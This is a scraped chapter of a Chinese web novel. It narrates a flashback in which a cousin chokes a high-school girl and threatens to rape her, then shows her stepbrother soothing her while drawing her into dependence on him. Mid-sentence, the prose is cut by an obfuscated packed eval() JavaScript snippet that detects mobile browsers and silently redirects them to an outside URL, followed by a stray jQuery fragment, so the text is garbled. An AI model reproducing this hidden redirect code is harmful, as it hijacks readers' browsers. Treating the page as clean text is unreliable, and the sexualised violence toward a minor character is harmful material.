24. 第 24 章

作品:《哥哥是胆小鬼

    “他是谁?”


    骆修凌一字一顿地问。


    “放、放手。”


    温漾挣扎着,想要逃走。


    骆修凌单手扯住她的手腕,猛地往回一拉。


    温漾力气小,根本抵挡不住这毫不怜惜的力道,猝不及防地撞上了他的胸膛,鼻尖传来一阵细微的烟草气息。


    她本能地往后偏过头,蹙着眉躲。


    仿佛嫌恶。


    骆修凌眸色变得深谙,扣着她手腕的力度不住收紧,第三遍重复,“他是谁?”


    “滚开!”


    温漾终于不客气地骂了一声。


    从前温漾很听话,性子也软,不与人争,更不会说出这样的话来。


    可这两年住在这里,舅妈不加掩饰的嫌恶,骆修凌的欺凌,表哥的视而不见,舅舅总是忙,偶尔会帮温漾说话,可舅舅一旦不在,她便要承受更多的白眼与辱骂。


    这样的日子久了,温漾心底里也慢慢滋生出怨恨。


    偶尔她也觉得自己变得好奇怪,丑恶得陌生。


    可她忍不住,她忍不住。


    他们总是这样。


    召之即来挥之即去,任何情绪都发泄在她身上,哪怕她什么也没有做,她存在便是错。


    她这样活生生一个人,被他们当做畜.生一样对待。


    仿佛她就该如此。


    可是,凭什么?


    温漾仰起脸,死死瞪着骆修凌,潋滟乌眸里藏着初见雏形的恨意。


    “跟你无关!”


    她说。


    “与我无关?”


    骆修凌倏地扯着嘴角,讽刺地笑了一下,随即低下头,紧紧盯着她的眼睛,两人距离几乎近到再靠前便能亲吻上,“温漾,别忘了,你妈还欠着我们家钱,而你还占着我的房间,你跟我从来就没两清过,你这辈子都欠我。”


    “想独善其身自己快活?”


    他冷冷地吐出两个字,“做梦。”


    “我欠你什么?”


    温漾的音量不受控制地扬起,胸前微微起伏着。


    骆修凌没有说话。


    他凌厉的面容紧绷着,带着冰冷的躁郁。


    漆黑眼眸微微垂下,视线无意识地落在她的乌眸上,而后是秀挺精致的鼻尖,嫣红娇艳的唇瓣。


    空气危险而压抑。


    带着那短暂的沉闷。


    温漾毫无察觉地盯着他的眼睛。


    积攒许久的情绪忽然就爆发了。


    她再也受不了了,他们无休止地将一切全都压在她的身上,要她来赎罪。


    可她有什么错?!


    “我欠你什么!”


    温漾眼眶通红,仿佛一头被逼入绝境的小兽,“你的人生根本不是我害的。”


    这句话像是踩到了骆修凌的尾巴。


    他猛地将她往门上一推,发出砰地一声。


    “为什么不是?!”


    他黑眸爆出狠戾,带着薄茧的手掌掐着她纤细的脖颈,不住用力,“温漾,这就是你欠我的!”


    最脆弱的地方被人用力掐着,温漾本能地挣扎着,出于求生反应。


    可忽然,她慢慢安静了下来。


    她仰起脸,轻轻朝他笑了起来。


    “真可怜,”她温软的嗓音变得沙哑,似笑似泣,“不敢找真正的罪魁祸首,只敢软弱地发泄在我身上,但就算是这样,你的人生也不会好起来。”


    骆修凌突然笑了一声,“我不需要。”


    他垂着眼,盯着她,发出近乎神经质的笑,病态而又畸形,“我不用好起来,只要有人陪着我就够了。”


    “所以你就把我拖下水是吗?”


    “是啊。”


    他慢慢地笑起来,掐着她脖颈的手不知何时松开了。


    他的视线犹如实质,不偏不倚地盯着她的唇瓣。


    四周安静,再没别人。


    那一刹那,他双眼有些失神,而后鬼使神差地用指腹捻过那抹柔软。


    下一瞬。


    骆修凌毫无防备地被推开,往后踉跄了两步才站稳。


    然后他就看见面前的人正用难以置信的目光看着他,眼底震惊又惊惧,仿佛那本就岌岌可危的脆弱的灵魂被当头一棒,敲裂开一条缝隙。


    “你……在做什么?”


    温漾惊骇到了极致,连语声都颤抖着。


    他却忽然笑了,慢慢走上前来,捏着她的下巴,不顾她那剧烈的挣扎,极尽羞辱地拍了拍她的脸。


    “温漾,你想知道我刚刚在想什么吗?”他压低了声音,一字一句说得缱绻缓慢,“我想把你的衣服一件件扒了,把你绑在床上,日日夜夜操.你,让你一句话都说不出来,直到哭哑了嗓子,只能跪在地上求我。”


    一字一句,犹如晴天霹雳。


    温漾的瞳孔猛然收缩着,不敢相信地看着他。


    她无法想象,还有比嫌恶、欺凌、辱骂、无视……更骇人听闻更令人恐惧的折磨与痛苦。


    而那,仅仅是开始。


    -


    但这一切,又该如何提起呢?


    温漾无法启齿。


    她眼睫一下一下抖着,那日日夜夜的惊恐挣扎麻木,无处诉说。


    她开不了口。


    只剩下一句单薄、哽咽的——


    “哥哥,我过得不好。”


    她低声喃喃:“我在那里,过得很不好。”


    温漾感觉到自己被哥哥抱在怀里,感觉到后背那一下一下安抚的轻拍。


    然后听着哥哥在耳边温声说:“哥哥知道。”


    他说:“哥哥都知道。”


    “都过去了。”


    “以后有哥哥在,不会不好了。”


    温漾闭着眼,闻到了哥哥身上清淡又有些冷冽的好闻气息。


    她无声地、眷恋地嗅了嗅。


    “下午的时候,”她说,“我不知道怎么了,好像又回到那里了。”


    “哥哥,”她睁开眼,不自觉地揪住了许珩的衣摆,“我害怕。”


    “你能不能……能不能别丢下我?”


    她说得小心翼翼。


    如同乞求。


    许珩心里好似针扎一般,被涩意淹没。


    他用力地闭了一下眼睛,复而睁开,极为认真,“阿漾,哥哥就在你身边,我不会丢下你,你也不会再遇到那样的事。”


    “别害怕,阿漾。”


    他低声说:“以后都交给哥哥来解决,嗯?”


    温漾指节无意识地收紧,许珩的衣摆被抓出了褶皱。


    半晌。


    她慢慢松开,说:“嗯。”


    “如果那个人再来打扰你,就跟哥哥说。”


    “嗯。”


    “既然连这些事都肯跟哥哥说,就代表你相信哥哥了,是不是?”


    许珩温声问,修长的指节轻轻抚摸着她的头发,“那就多依赖哥哥一点,行吗?”


    温漾仰起脸,望着哥哥的眼睛。


    仿佛在确认着什么。


    然后,她点点头,说:“我会学,哥哥。”


    分明只是简单的一句话。


    许珩却还是在她说完后,忍不住喉结微微一滚。


    感到心疼。


    他的阿漾。


    昏暗的房间里仿佛有一道极轻的叹息。


    -


    高二下只剩下最后两周,眨眼便过去了。


    期末考试结束后,迎来了今年的暑假。


    但对一中的高二年级而言,并不意味着放松。


    报了暑假班的学


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902759|160132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生会继续补课,校园也会为其他准高三生开放教室,让他们有地方自习。


    温漾按部就班地上学,因为哥哥也放了假,开始每天早晚开车接送她。


    姜烟提过两次,让她不要太麻烦哥哥。


    但温漾刚和哥哥开了个头,就被哥哥打断了,问她:“不是要跟哥哥熟悉起来吗?还是说,阿漾是在骗哥哥?”


    “……”


    温漾就再也不提了。


    又过了一阵。


    七月底。


    延和市的天气彻底炎热起来,哪怕只是从车里下来,从校门口走到教室的一截路,也能闷出细汗来。


    于是每天早上,许珩会给温漾装一杯绿豆冰沙,给她解渴。


    又是一个周五。


    温漾背着书包从学校出来,许珩随手接过书包,递给她一包湿巾,“擦擦脸,凉快点。”


    “嗯。”


    她已经开始习惯哥哥的照顾,拿着湿巾自习擦过脸,又擦了手。


    炽烈的热气驱散了不少。


    上了车以后,空调打得刚好,很快便不热了。


    许珩从车载冰箱里取了瓶酸梅汤给她,“先喝一点,等下开车不方便喝。”


    温漾乖乖接过,小口喝了一些,只觉得学习一天的疲惫都消失了,像是又活了过来般。


    “谢谢哥——”


    话还没有说完。


    许珩便轻轻挑起眉梢,看着她,“嗯?”


    “……”温漾默默盖上酸梅汤的瓶盖,递给他,有些笨拙地改了口,“不、不客气。”


    许珩:“……”


    他忽地笑了一声。


    “是不客气。”


    从她手里接过酸梅汤后重新放回冰箱里。


    他系上安全带,踩下油门,慢悠悠地往家开。


    虽然妹妹还没教好,但至少……是熟悉上了。


    回到家里时刚过六点,正好是饭点。


    温漾和别墅里的阿姨也已经熟悉了些,不会再不自在。


    一家人吃过晚饭后,她正要和哥哥一起上楼。


    “阿珩。”


    楼下,姜烟忽地喊了一声。


    许珩和温漾一起停在楼梯上,都回过头看去。


    “我们打算下周去江宁市避暑,你看看要带什么,提前收拾一下,到时候我们早点出发。”


    姜烟笑着说。


    许珩顿了一下,“好,我知道了。”


    “嗯,阿珩、小漾,早点休息。”


    姜烟打过招呼,回了房间。


    许珩转过身拍拍温漾的肩膀,“走吧,上楼,哥哥给你榨杯西瓜汁。”


    “……哦。”


    温漾回过神,跟在了哥哥身后。


    三楼公共区域很大,两人一个站在水吧后忙碌,另一个坐着望阳台外的风景。


    没一会儿。


    许珩在玻璃杯里放进一根吸管,慢慢推到温漾面前,笑着说:“这位小客人,你的订单好了。”


    温漾收回目光,抱着杯子慢慢喝了起来,甜而清透的瓜果香气扑面,中央空调的风吹着,让这个闷热的夏季变得清爽起来。


    她无意识地咬着吸管,垂着眸,若有所思的样子。


    许珩揉了一下她的头,问:“在想什么?”


    “在想……”温漾抬起眼,看向哥哥,“妈妈和叔叔是结婚旅行吗?”


    许珩没隐瞒,“算是。”


    “那他们回来后就要领证了吗?”


    温漾又问。


    “应该吧。”


    许珩说。


    温漾又低下了头,声音轻了些,“那哥哥就真的是我的哥哥了。”


    许珩垂下眼睫,看了她一会儿。


    不知怎么。


    没有应声。